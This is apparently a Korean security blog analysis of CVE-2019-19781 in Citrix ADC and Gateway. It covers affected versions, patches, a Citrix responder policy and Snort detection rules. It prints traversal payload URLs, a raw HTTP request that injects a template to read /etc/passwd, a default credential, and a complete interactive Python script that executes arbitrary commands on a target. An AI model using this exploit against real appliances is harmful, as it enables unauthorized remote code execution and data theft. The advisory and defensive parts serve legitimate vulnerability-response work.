1. Citrix

- 1989년 설립된 미국의 다국적 소프트웨어 기업

- 서버, 애플리케이션 및 데스크톱 가상화, 네트워킹, SaaS, 클라우드 컴퓨팅 기술을 제공

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2019-19781

- 취약한 Citrix 제품군에서 입력값 검증이 부족하여 발생하는 디렉터리 트래버설 취약점

취약한 버전 : Citrix ADC(Application Delivery Controller) 및 Gateway 10.5, 11.1, 12.0, 12.1 및 13.0

 

[사진 2] SHODAN 검색 화면

 

2.1 분석

- 입력값에 대한 검증없이 요청 받은 경로를 직접 사용함으로써 발생하는 취약점

- 취약한 버전의 Citrix 제품군의 /vpns/ 경로에 인증 없이 디렉토리를 포함한 제한된 파일에 접근이 가능한 perl 스크립트가 존재

- 해당 perl 스크립트에서 요청 받은 경로를 직접 사용

Payload 예시
- https://Target IP/vpn/../vpns/services.html
- https://Target IP/vpn/../vpns/cfg/smb.conf

 

[사진 3] PoC 요청 및 200 응답

 

- 또한, 원격의 공격자는 XML을 업로드한 후 해당 XML 파일을 요청하여 내용을 확인 가능함

① POST 메소드로 /vpn/../vpns/portal/scripts/newbm.pl 경로 요청

② NSC_USER 헤더에 ../ 포함하여 randomletter(변경가능) 이라는 이름의 XML 파일 업로드

* Default 계정 정보 : nsroot/nsroot

POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Host: 
User-Agent: 1
Connection: close
NSC_USER: ../../../netscaler/portal/templates/randomletter
NSC_NONCE: nsroot
Content-Length: 97

url=http://example.com&title=randomletter&desc=[% template.new('BLOCK' = 'print `cat /etc/passwd`') %]

③ ②에서 업로드한 파일 요청 시 /etc/passwd의 내용을 확인 가능

[사진 4] XML 파일 업로드 및 /etc/passwd 파일 노출

2.2 PoC

- /vpn/../vpns/portal/scripts/newbm.pl URL 요청 및 NSC_USER 헤더값 조작

#!/usr/bin/env python
import requests
import string
import random
import re
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

print("CVE-2019-19781 - Remote Code Execution in Citrix Application Delivery Controller and Citrix Gateway")
print("Found by Mikhail Klyuchnikov")
print("")

if len(sys.argv) < 2:
  print("[-] No URL provided")
  sys.exit(0)

while True:
    try:
      command = input("command > ")

      random_xml = ''.join(random.choices(string.ascii_uppercase + string.digits, k=12))
      print("[+] Adding bookmark", random_xml + ".xml")

      burp0_url = sys.argv[1] + "/vpn/../vpns/portal/scripts/newbm.pl"
      burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
                      random_xml, "NSC_NONCE": "c", "Connection": "close"}
      burp0_data = {"url": "http://exemple.com", "title": "[%t=template.new({'BLOCK'='print `" + str(command) + "`'})%][ % t % ]", "desc": "test", "UI_inuse": "RfWeb"}
      r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data,verify=False)

      if r.status_code == 200:
        print("[+] Bookmark added")
      else:
        print("\n[-] Target not vulnerable or something went wrong")
        sys.exit(0)

      burp0_url = sys.argv[1] + "/vpns/portal/" + random_xml + ".xml"
      burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
                       random_xml, "NSC_NONCE": "c", "Connection": "close"}
      r = requests.get(burp0_url, headers=burp0_headers,verify=False)

      replaced = re.sub('^&#.*&#10;$', '', r.text, flags=re.MULTILINE)
      print("[+] Result of the command: \n")
      print(replaced)

    except KeyboardInterrupt:
            print("Exiting...")
            break

 

3. 대응방안

3.1 서버측면

① 보안 패치 적용

버전 패치 버전 패치 공개일
10.5 10.5.70.12 2020.01.24
11.1 11.1.63.15 2020.01.19
12.0 12.0.63.13 2020.01.19
12.1 12.1.55.18 2020.01.24
13.0 13.0.47.24 2020.01.24

 

② Citrix는 특정 응답자 정책을 적용하여, 공격 시도를 필터링 할 것을 권장

- /../이 포함된 요청과 /vpns/ 디렉터리에 접근하려는 요청을 차단

add responder action respondwith403 respondwith "\"HTTP/1.1 403 
Forbidden\r\n\r\n\""

add responder policy ctx267027 
"HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/vpns/\") && 
(!CLIENT.SSLVPN.IS_SSLVPN || 
HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/../\"))" 
respondwith403

 

3.2 네트워크 측면

탐지 룰 적용 및 모니터링, 차단

- 공개된 PoC를 통해 /vpns/(혹은 /vpn/)이하의 URL로 접근 및 ../ 사용이 확인되므로 해당 문자열을 탐지

alert tcp any any -> any $HTTP_PORTS (msg:"SERVER-WEBAPP Citrix ADC and Gateway arbitrary code execution attempt"; flow:to_server,established; content:"/vpns/"; fast_pattern:only; content:"/vpns/"; http_raw_uri; content:"/../"; http_raw_uri; reference:cve,2019-19781; reference:url,support.citrix.com/article/CTX267027;)

alert tcp any any -> any $HTTP_PORTS (msg:"SERVER-WEBAPP Citrix ADC and Gateway arbitrary code execution attempt"; flow:to_server,established; content:"/vpns/"; fast_pattern:only; content:"/vpns/"; http_raw_uri; content:"%2E%2E"; http_raw_uri; reference:cve,2019-19781; reference:url,support.citrix.com/article/CTX267027;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2019-19781

https://github.com/mpgn/CVE-2019-19781

https://github.com/jas502n/CVE-2019-19781

https://www.cisa.gov/uscert/ncas/alerts/aa20-031a

- https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35250&queryString=cGFnZT0xJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PWRpc3BsYXlfY29udGVudHMmc2VhcmNoX3dvcmQ9Q1ZFLTIwMTktMTk3ODE=

- https://support.citrix.com/article/CTX267027/cve201919781-vulnerability-in-citrix-application-delivery-controller-citrix-gateway-and-citrix-sdwan-wanop-appliance

https://support.citrix.com/article/CTX276688/citrix-application-delivery-controller-citrix-gateway-and-citrix-sdwan-wanop-appliance-security-update

https://www.tripwire.com/state-of-security/citrix-netscaler-cve-2019-19781-what-you-need-to-know

https://www.tenable.com/blog/cve-2019-19781-exploit-scripts-for-remote-code-execution-vulnerability-in-citrix-adc-and

https://unit42.paloaltonetworks.com/exploits-in-the-wild-for-citrix-adc-and-citrix-gateway-directory-traversal-vulnerability-cve-2019-19781/

+ Recent posts